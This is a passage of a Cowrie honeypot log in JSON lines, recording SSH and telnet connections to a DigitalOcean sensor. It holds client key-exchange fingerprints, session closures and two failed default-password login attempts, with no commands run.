{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:15.231643Z","src_ip":"103.129.221.202","session":"4149af01d1ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.419439554214478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:15.287567Z","src_ip":"69.6.196.124","session":"3efc220c2232","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139767169952393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:15.649905Z","src_ip":"69.6.196.124","session":"b13d3a6da6f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.156638145446777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:15.856184Z","src_ip":"69.6.196.124","session":"172d133873a6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwezxc","message":"login attempt [admin/qwezxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:16.277601Z","src_ip":"103.129.221.202","session":"4149af01d1ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:17.534025Z","src_ip":"103.129.221.202","session":"4149af01d1ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.18832778930664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:17.759264Z","src_ip":"69.6.196.124","session":"eaf87635b8a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12719988822937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:17.918535Z","src_ip":"69.6.196.124","session":"e2619e10cd31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.690834283828735,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:18.300593Z","src_ip":"69.6.196.124","session":"f0c09dcdd59d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39810,"dst_ip":"159.203.135.109","dst_port":23,"session":"021d15b6df6c","protocol":"telnet","message":"New connection: 69.6.196.124:39810 (159.203.135.109:23) [session: 021d15b6df6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:19.176402Z"}
{"eventid":"cowrie.session.closed","duration":31.635119676589966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:19.229831Z","src_ip":"69.6.196.124","session":"9e7f7c666ba1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39812,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b2c74da441c","protocol":"telnet","message":"New connection: 69.6.196.124:39812 (159.203.135.109:23) [session: 2b2c74da441c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:19.267873Z"}
{"eventid":"cowrie.session.closed","duration":30.321627140045166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:19.380244Z","src_ip":"69.6.196.124","session":"0ca47f9b1a7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75524353981018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:19.500472Z","src_ip":"69.6.196.124","session":"d42a1031cf90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41786,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2ceea33b57b","protocol":"telnet","message":"New connection: 69.6.196.124:41786 (159.203.135.109:23) [session: f2ceea33b57b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:19.874570Z"}
{"eventid":"cowrie.session.closed","duration":30.276255130767822,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:20.270197Z","src_ip":"69.6.196.124","session":"59e49ae32653","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.667603731155396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:20.282970Z","src_ip":"69.6.196.124","session":"3fa29575df3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211013317108154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:20.390372Z","src_ip":"69.6.196.124","session":"249f03470456","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.488730907440186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:20.396425Z","src_ip":"69.6.196.124","session":"34ee10157c31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41804,"dst_ip":"159.203.135.109","dst_port":23,"session":"933cd3506c91","protocol":"telnet","message":"New connection: 69.6.196.124:41804 (159.203.135.109:23) [session: 933cd3506c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:20.485349Z"}
{"eventid":"cowrie.session.closed","duration":30.880152225494385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:20.650106Z","src_ip":"69.6.196.124","session":"0abfc3535346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41790,"dst_ip":"159.203.135.109","dst_port":23,"session":"157a27c1dd89","protocol":"telnet","message":"New connection: 69.6.196.124:41790 (159.203.135.109:23) [session: 157a27c1dd89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:20.975796Z"}
{"eventid":"cowrie.session.closed","duration":31.067049264907837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:21.286087Z","src_ip":"69.6.196.124","session":"5ec902621479","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41816,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3a9944d1a3f","protocol":"telnet","message":"New connection: 69.6.196.124:41816 (159.203.135.109:23) [session: e3a9944d1a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:21.671157Z"}
{"eventid":"cowrie.session.closed","duration":31.621021032333374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:22.094986Z","src_ip":"69.6.196.124","session":"0d48bb94d2c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11767077445984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:22.329018Z","src_ip":"69.6.196.124","session":"a0ea73327c4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41828,"dst_ip":"159.203.135.109","dst_port":23,"session":"630edaa0c43f","protocol":"telnet","message":"New connection: 69.6.196.124:41828 (159.203.135.109:23) [session: 630edaa0c43f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:22.608276Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41830,"dst_ip":"159.203.135.109","dst_port":23,"session":"5920ce58892c","protocol":"telnet","message":"New connection: 69.6.196.124:41830 (159.203.135.109:23) [session: 5920ce58892c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:22.836437Z"}
{"eventid":"cowrie.session.closed","duration":30.572121620178223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:23.317773Z","src_ip":"69.6.196.124","session":"33dabc1921b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.504645347595215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:23.709261Z","src_ip":"69.6.196.124","session":"81d23ad9156b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41842,"dst_ip":"159.203.135.109","dst_port":23,"session":"570bf570f1d5","protocol":"telnet","message":"New connection: 69.6.196.124:41842 (159.203.135.109:23) [session: 570bf570f1d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:24.341100Z"}
{"eventid":"cowrie.session.closed","duration":30.645910024642944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:24.346590Z","src_ip":"69.6.196.124","session":"91464a3d7f8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.126095294952393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:24.448582Z","src_ip":"69.6.196.124","session":"bdfbf5c74d7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73995304107666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:24.732233Z","src_ip":"69.6.196.124","session":"db7ee0ffd709","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59205651283264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:25.268745Z","src_ip":"69.6.196.124","session":"dd0f0607437f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121988534927368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:25.480312Z","src_ip":"69.6.196.124","session":"da8f471cb8cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.942259073257446,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:25.637794Z","src_ip":"69.6.196.124","session":"c03e0d1a5b23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63833975791931,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:25.719300Z","src_ip":"69.6.196.124","session":"ee5f385cf21b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.148240089416504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:25.973696Z","src_ip":"69.6.196.124","session":"8b247c63a57a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41844,"dst_ip":"159.203.135.109","dst_port":23,"session":"f306bff0a8d3","protocol":"telnet","message":"New connection: 69.6.196.124:41844 (159.203.135.109:23) [session: f306bff0a8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:26.749044Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41850,"dst_ip":"159.203.135.109","dst_port":23,"session":"f638e93e543b","protocol":"telnet","message":"New connection: 69.6.196.124:41850 (159.203.135.109:23) [session: f638e93e543b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:27.855355Z"}
{"eventid":"cowrie.session.closed","duration":30.82719111442566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:28.622716Z","src_ip":"69.6.196.124","session":"ff542ff9f3fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68587613105774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:29.271832Z","src_ip":"69.6.196.124","session":"6531745bc51a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75853705406189,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:29.898469Z","src_ip":"69.6.196.124","session":"75a50d09bd07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.314244985580444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:30.716382Z","src_ip":"69.6.196.124","session":"c9ade09de0de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60844,"dst_ip":"159.203.135.109","dst_port":23,"session":"a51e2aa90c83","protocol":"telnet","message":"New connection: 69.6.196.124:60844 (159.203.135.109:23) [session: a51e2aa90c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:30.827412Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60838,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ed2742d5a39","protocol":"telnet","message":"New connection: 69.6.196.124:60838 (159.203.135.109:23) [session: 5ed2742d5a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:31.728422Z"}
{"eventid":"cowrie.session.closed","duration":30.576181173324585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:32.378026Z","src_ip":"69.6.196.124","session":"f4e326618ec6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60846,"dst_ip":"159.203.135.109","dst_port":23,"session":"98461baa2ebf","protocol":"telnet","message":"New connection: 69.6.196.124:60846 (159.203.135.109:23) [session: 98461baa2ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:32.382866Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60866,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5debf3b5847","protocol":"telnet","message":"New connection: 69.6.196.124:60866 (159.203.135.109:23) [session: e5debf3b5847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:33.318150Z"}
{"eventid":"cowrie.session.closed","duration":30.545034885406494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:33.645049Z","src_ip":"69.6.196.124","session":"227081bcbf29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27260947227478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:33.728966Z","src_ip":"69.6.196.124","session":"281b91debcc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37344455718994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:33.881961Z","src_ip":"69.6.196.124","session":"f6ef5f453cb8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60858,"dst_ip":"159.203.135.109","dst_port":23,"session":"71b4302796e8","protocol":"telnet","message":"New connection: 69.6.196.124:60858 (159.203.135.109:23) [session: 71b4302796e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:33.897758Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60880,"dst_ip":"159.203.135.109","dst_port":23,"session":"759148ee976e","protocol":"telnet","message":"New connection: 69.6.196.124:60880 (159.203.135.109:23) [session: 759148ee976e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:34.364509Z"}
{"eventid":"cowrie.session.closed","duration":30.669622659683228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:34.450286Z","src_ip":"69.6.196.124","session":"cac326b076e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31593894958496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:34.766672Z","src_ip":"69.6.196.124","session":"407cbcf9e32f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.902512073516846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:34.915215Z","src_ip":"69.6.196.124","session":"edcb0e157e05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.550623893737793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:35.283069Z","src_ip":"69.6.196.124","session":"ce7959d094e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.222392559051514,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:35.527438Z","src_ip":"69.6.196.124","session":"6440aa6dc228","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":44090,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa8e42083de9","protocol":"ssh","message":"New connection: 201.184.50.251:44090 (10.17.0.5:22) [session: fa8e42083de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:35.747263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:35.751789Z","src_ip":"201.184.50.251","session":"fa8e42083de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:35.831903Z","src_ip":"201.184.50.251","session":"fa8e42083de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nodeuser","password":"nodeuser","message":"login attempt [nodeuser/nodeuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:36.184104Z","src_ip":"201.184.50.251","session":"fa8e42083de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.765896558761597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:36.347033Z","src_ip":"69.6.196.124","session":"409ab2a5edb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.066099643707275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:36.579543Z","src_ip":"69.6.196.124","session":"b6f52c85292a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:37.266865Z","src_ip":"201.184.50.251","session":"fa8e42083de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.287487506866455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:37.304750Z","src_ip":"69.6.196.124","session":"07fba4e1fb64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60900,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc3b98db4713","protocol":"telnet","message":"New connection: 69.6.196.124:60900 (159.203.135.109:23) [session: fc3b98db4713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:37.694927Z"}
{"eventid":"cowrie.session.closed","duration":30.54774498939514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:38.506114Z","src_ip":"69.6.196.124","session":"db0b7a6bba0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60918,"dst_ip":"159.203.135.109","dst_port":23,"session":"1712e39b6859","protocol":"telnet","message":"New connection: 69.6.196.124:60918 (159.203.135.109:23) [session: 1712e39b6859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:38.956592Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60886,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a236482f4f0","protocol":"telnet","message":"New connection: 69.6.196.124:60886 (159.203.135.109:23) [session: 4a236482f4f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:39.024421Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":38786,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2d6f5cdf287","protocol":"telnet","message":"New connection: 69.6.196.124:38786 (159.203.135.109:23) [session: b2d6f5cdf287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:40.415981Z"}
{"eventid":"cowrie.session.closed","duration":31.232694625854492,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:40.435917Z","src_ip":"69.6.196.124","session":"595646d5dfe1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":38796,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f649e3d7d4e","protocol":"telnet","message":"New connection: 69.6.196.124:38796 (159.203.135.109:23) [session: 6f649e3d7d4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:49:40.514027Z"}
